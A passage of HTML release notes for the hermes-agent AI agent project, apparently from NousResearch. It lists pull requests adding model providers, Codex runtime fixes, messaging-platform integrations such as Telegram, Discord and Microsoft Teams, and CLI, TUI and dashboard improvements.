<li><strong>xAI Grok OAuth (SuperGrok Subscription) provider</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26534/hovercard">#26534</a>)</li>
<li><strong>NovitaAI provider</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4239769574" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/7219" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/7219/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/7219">#7219</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25507/hovercard">#25507</a>)</li>
<li><strong>NVIDIA NIM billing origin header</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4440730370" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25211" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25211/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25211">#25211</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26585" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26585/hovercard">#26585</a>)</li>
</ul>
<h3>Provider work</h3>
<ul>
<li><strong>OpenRouter Pareto Code router with <code>min_coding_score</code> knob</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22838/hovercard">#22838</a>)</li>
<li><strong>Optional codex app-server runtime for OpenAI/Codex models</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24182/hovercard">#24182</a>)</li>
<li><strong>Codex-runtime: retire wedged sessions + post-tool watchdog + OAuth refresh classify</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25769" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25769/hovercard">#25769</a>)</li>
<li><strong>Codex-runtime: skip unavailable plugins during migration</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25437" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25437/hovercard">#25437</a>)</li>
<li><strong>Codex-runtime: de-dup <code>[plugins.X]</code> tables and stop leaking HERMES_HOME into config.toml</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4452637433" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/26250" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/26250/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/26250">#26250</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26260" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26260/hovercard">#26260</a>)</li>
<li><strong>Pass <code>reasoning.effort</code> to xAI Responses API</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22807" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22807/hovercard">#22807</a>)</li>
<li><strong>Custom provider: prompt and persist explicit <code>api_mode</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25068" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25068/hovercard">#25068</a>)</li>
<li><strong>Rename Alibaba Cloud → Qwen Cloud, reorder picker</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24835/hovercard">#24835</a>)</li>
<li><strong>Restore gpt-5.3-codex-spark for ChatGPT Pro</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363243703" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/18286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18286/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/18286">#18286</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4374103180" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/19530" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/19530/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/19530">#19530</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331658979" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/16172" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/16172/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/16172">#16172</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22991/hovercard">#22991</a>)</li>
<li><strong>Inject tool-use enforcement for GLM models</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24715/hovercard">#24715</a>)</li>
<li><strong>Use Nous Portal as model metadata authority</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/24502" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24502/hovercard">#24502</a>)</li>
<li><strong>Unified <code>client=hermes-client-v&lt;version&gt;</code> tag on every Portal request</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24779" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24779/hovercard">#24779</a>)</li>
<li><strong>Prevent stale Ollama credentials after provider switch</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21703" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21703/hovercard">#21703</a>)</li>
<li><strong>Auxiliary client: rotate pooled auth after quota failures</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413655442" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22779" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22779/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22779">#22779</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22792" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22792/hovercard">#22792</a>)</li>
<li><strong>Auxiliary client: skip providers without credentials immediately</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4442897934" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25395" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25395/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25395">#25395</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25487" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25487/hovercard">#25487</a>)</li>
<li><strong>Auth: send Nous refresh token via header</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21578/hovercard">#21578</a>)</li>
<li><strong>MiniMax: harden OAuth dashboard and runtime</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24165/hovercard">#24165</a>)</li>
</ul>
<h3>OpenAI-compatible proxy</h3>
<ul>
<li><strong>Local OpenAI-compatible proxy for OAuth providers</strong> — Codex / Aider / Cline can hit Claude Pro, ChatGPT Pro, SuperGrok (<a href="https://github.com/NousResearch/hermes-agent/pull/25969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25969/hovercard">#25969</a>)</li>
</ul>
<hr>
<h2>📱 Messaging Platforms (Gateway)</h2>
<h3>New platforms</h3>
<ul>
<li><strong>LINE Messaging API platform plugin</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23197" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23197/hovercard">#23197</a>)</li>
<li><strong>SimpleX Chat platform plugin</strong> (salvages <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4117407388" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2558" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2558/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2558">#2558</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26232" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26232/hovercard">#26232</a>)</li>
</ul>
<h3>Microsoft Graph foundation</h3>
<ul>
<li><strong>msgraph: add auth and client foundation</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400317607" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21408" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21408/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21408">#21408</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21922/hovercard">#21922</a>)</li>
<li><strong>msgraph: add webhook listener platform</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400318904" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21409" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21409/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21409">#21409</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21969/hovercard">#21969</a>)</li>
<li><strong>teams-pipeline: add plugin runtime and operator cli</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400320220" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21410" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21410/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21410">#21410</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22007/hovercard">#22007</a>)</li>
<li><strong>teams: add pipeline outbound delivery via existing adapter</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400321291" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21411" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21411/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21411">#21411</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22024" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22024/hovercard">#22024</a>)</li>
</ul>
<h3>Cross-platform</h3>
<ul>
<li><strong>Per-platform admin/user split for slash commands</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4186299753" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/4443" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/4443/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/4443">#4443</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23373" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23373/hovercard">#23373</a>)</li>
<li><strong>Forensics on signal handling — non-blocking diag, per-phase timing, stale-unit warning</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23285" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23285/hovercard">#23285</a>)</li>
<li><strong>Keep gateway running when platforms fail; add per-platform circuit breaker + <code>/platform</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26600" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26600/hovercard">#26600</a>)</li>
<li><strong>Wire <code>clarify</code> tool with inline keyboard buttons on Telegram</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24199" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24199/hovercard">#24199</a>)</li>
<li><strong>Add <code>chat_id</code> to <code>hook_ctx</code> for message source tracking</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24710" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24710/hovercard">#24710</a>)</li>
</ul>
<h3>Telegram</h3>
<ul>
<li><strong>Native draft streaming via <code>sendMessageDraft</code> (Bot API 9.5+)</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4153857159" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/3412" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/3412/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/3412">#3412</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23512/hovercard">#23512</a>)</li>
<li><strong>Stream Telegram edits safely</strong> — salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4411022272" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22264" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22264/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22264">#22264</a> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22518/hovercard">#22518</a>)</li>
<li><strong>Telegram notification mode</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413638873" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22772/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22772">#22772</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22793/hovercard">#22793</a>)</li>
<li><strong>Telegram guest mention mode</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22759/hovercard">#22759</a>)</li>
<li><strong>Split-and-deliver oversized edits instead of silent truncation</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4374174566" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/19537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/19537/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/19537">#19537</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23576" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23576/hovercard">#23576</a>)</li>
<li><strong>Preserve DM topic routing via reply fallback</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4408968252" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22053/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22053">#22053</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22410" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22410/hovercard">#22410</a>)</li>
<li><strong>Pass <code>source.thread_id</code> explicitly on auto-reset notice</strong> (carve-out of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4241919580" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/7404" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/7404/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/7404">#7404</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23440" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23440/hovercard">#23440</a>)</li>
</ul>
<h3>Discord</h3>
<ul>
<li><strong>Render clarify choices as buttons</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25485" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25485/hovercard">#25485</a>)</li>
<li><strong>Channel history backfill — default on, broadened scope</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25984" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25984/hovercard">#25984</a>)</li>
<li><strong><code>thread_require_mention</code> for multi-bot threads</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4442115964" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25313" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25313/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25313">#25313</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25445" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25445/hovercard">#25445</a>)</li>
</ul>
<h3>Slack</h3>
<ul>
<li><strong>Support <code>!cmd</code> as alternate prefix for slash commands in threads</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25355" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25355/hovercard">#25355</a>)</li>
</ul>
<h3>WhatsApp</h3>
<ul>
<li><strong>Surface quoted reply metadata from Baileys</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4442902475" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25398/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25398">#25398</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25489/hovercard">#25489</a>)</li>
</ul>
<h3>Feishu / Google Chat / others</h3>
<ul>
<li><strong>Feishu: native update prompt cards</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22448" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22448/hovercard">#22448</a>)</li>
<li><strong>Google Chat: repair setup prompt imports</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22038/hovercard">#22038</a>)</li>
<li><strong>Google Chat: honor relay-declared sender_type</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4409786696" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22107" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22107/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22107">#22107</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22432/hovercard">#22432</a>)</li>
<li><strong>LINE: use <code>build_source</code> instead of nonexistent <code>create_source</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24717" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24717/hovercard">#24717</a>)</li>
<li><strong>Add <code>weixin, and more</code> to gateway docs</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4396673114" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21063" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21063/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21063">#21063</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wuwuzhijing/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wuwuzhijing">@wuwuzhijing</a>)</li>
</ul>
<hr>
<h2>🖥️ CLI &amp; TUI</h2>
<h3>CLI</h3>
<ul>
<li><strong>Show YOLO mode warning in banner and status bar</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26238/hovercard">#26238</a>)</li>
<li><strong>Confirm prompt for destructive slash commands</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174599074" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/4069" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/4069/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/4069">#4069</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22687" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22687/hovercard">#22687</a>)</li>
<li><strong><code>docker_extra_args</code> + <code>display.timestamps</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23599" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23599/hovercard">#23599</a>)</li>
<li><strong>Delegate tool: show user's actual concurrency / spawn-depth limits in description</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22694" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22694/hovercard">#22694</a>)</li>
</ul>
<h3>TUI</h3>
<ul>
<li><strong><code>/sessions</code> slash command for browsing and resuming previous sessions</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/20805" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20805/hovercard">#20805</a>)</li>
<li><strong>Segment turns with rule above non-first user msgs; trim ticker dead space</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21846" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21846/hovercard">#21846</a>)</li>
<li><strong>Support attaching to an existing gateway</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21978" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21978/hovercard">#21978</a>)</li>
<li><strong>Resolve markdown links to readable page titles</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/24013" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24013/hovercard">#24013</a>)</li>
<li><strong>Width-aware markdown table rendering with vertical fallback</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26195/hovercard">#26195</a>)</li>
<li><strong>Keep Ink displayCursor in sync with fast-echo writes so cursor stops drifting</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26717" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26717/hovercard">#26717</a>)</li>
<li><strong>Allow transcript scroll + Esc during approval/clarify/confirm prompts</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26414/hovercard">#26414</a>)</li>
<li><strong>Preserve session when switching personality</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/20942" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20942/hovercard">#20942</a>)</li>
<li><strong>Skip native safety net on OSC52-capable terminals</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/20954" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20954/hovercard">#20954</a>)</li>
</ul>
<h3>Dashboard / GUI</h3>
<ul>
<li><strong>Route embedded TUI through dashboard gateway</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21979" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21979/hovercard">#21979</a>)</li>
<li><strong>Hide token/cost analytics behind config flag (default off)</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25438/hovercard">#25438</a>)</li>
